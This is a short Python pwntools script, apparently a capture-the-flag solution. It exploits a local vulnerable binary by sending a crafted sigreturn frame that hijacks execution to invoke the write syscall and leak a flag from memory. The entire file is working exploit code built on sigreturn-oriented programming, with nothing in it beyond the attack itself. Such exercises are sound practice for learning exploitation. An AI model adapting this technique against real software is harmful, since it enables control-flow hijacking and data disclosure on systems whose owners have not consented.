#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
r = process('/tmp/p/vul')

flag = 0x0000000010000023
syscall = 0x000000010000015

frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = flag
frame.rdx = 50 #read size
frame.rsp = 0xABADCAFE
frame.rip = syscall

r.send(str(frame))

r.interactive()